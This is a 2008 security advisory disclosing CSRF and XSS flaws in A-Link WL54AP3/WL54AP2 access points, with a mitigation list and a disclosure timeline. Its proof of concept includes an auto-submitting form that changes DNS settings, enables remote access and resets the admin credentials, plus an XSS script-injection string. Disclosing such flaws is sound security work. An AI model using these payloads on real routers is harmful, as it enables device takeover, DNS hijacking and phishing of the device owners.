Type packetstorm
Reporter Jussi Vuokko
Modified 2008-10-31T00:00:00


                                            ` Louhi Networks Information Security Research  
Security Advisory  
Advisory: A-Link WL54AP3 and WL54AP2 CSRF+XSS vulnerability  
Release Date: 2008/10/31  
Last Modified: 2008/10/28  
Authors: Jussi Vuokko, CISSP []  
Henri Lindberg []  
Device: A-Link WL54AP3 and WL54AP2 (any firmware)  
Severity: CSRF and XSS in management interface  
Risk: Moderate  
Vendor Status: Vendor has released an updated version  
Quote from  
"WLAN Access point 54MB, 4-port  
Wlan Access point, wireless 54Mbps, DSSS, 802.11g-standard based and  
it's compatible also with other manufacturers cards."  
During an audit of A-Link WLAN54AP3 it was discovered that a cross  
site request forgery vulnerability exists in the management  
interface. It is possible for an attacker to perform any  
administrative actions in the management interface, if victim  
can be lured or forced to view malicious content. These administrative  
actions include e.g. changing admin user's username and password,  
DNS settings etc.  
In addition, it was discovered that no input validation or output  
encoding is performed in management interface, thus making it  
vulnerable to cross-site scripting.  
By default admin password is blank and no authentication is performed  
for requests to administrative interface. As ordinary consumers usually  
use out-of-the-box settings, this vulnerability offers same kind of  
phishing possibilities as used in Banamex attacks[1].  
A-Link WLAN54AP2 (EOL) is vulnerable to this threat as well.  
A-Link WLAN54AP3 does not validate the origin of an HTTP request. If  
attacker is able to make user view malicious content, the WLAN54AP3  
device can be controlled by submitting suitable forms. Attacker is  
effectively acting as an administrator.  
Successful attack requires that the attacker knows the management  
interface address for the target device (default IP address is As the management interface does not have logout  
functionality, user can be vulnerable to this attack even after  
closing a tab containing the management interface (if user does not  
close the browser window or clear cookies and depending on browser  
behaviour) or if default blank password is used.  
Proof of Concept:  
Example form (changes DNS servers, enables WAN web server access  
and changes user's username and password):  
<body onload="document.wan.submit(); document.password.submit()">  
<form action=""  
method="post" name="wan">  
<input type="hidden" value="dnsManual" name="dnsMode" checked>  
<input type="hidden" name="dns1" value="">  
<input type="hidden" name="dns2" value="">  
<input type="hidden" name="dns3" value="">  
<input type="hidden" name="webWanAccess" value="ON"  
<form action=""  
method="post" name="password">  
<input type="hidden" name="username" value="mallory">  
<input type="hidden" name="newpass" value="gotroot">  
<input type="hidden" name="confpass" value="gotroot">  
Add following content to management interface's Management - DDNS -  
Domain Name:  
""><script src=""></script><p  
Include a random user-specific token in forms. More information:  
Perform an input validation and/or an output encoding. More information:  
Use secure out-of-the-box configuration (for example generate  
default passwords based on device serial or MAC address using  
a secure cryptographic algorithm).  
Disclosure Timeline:  
13. September 2008 - Contacted A-Link by email  
28. October 2008 - Vendor released an updated version  
31. October 2008 - Advisory was released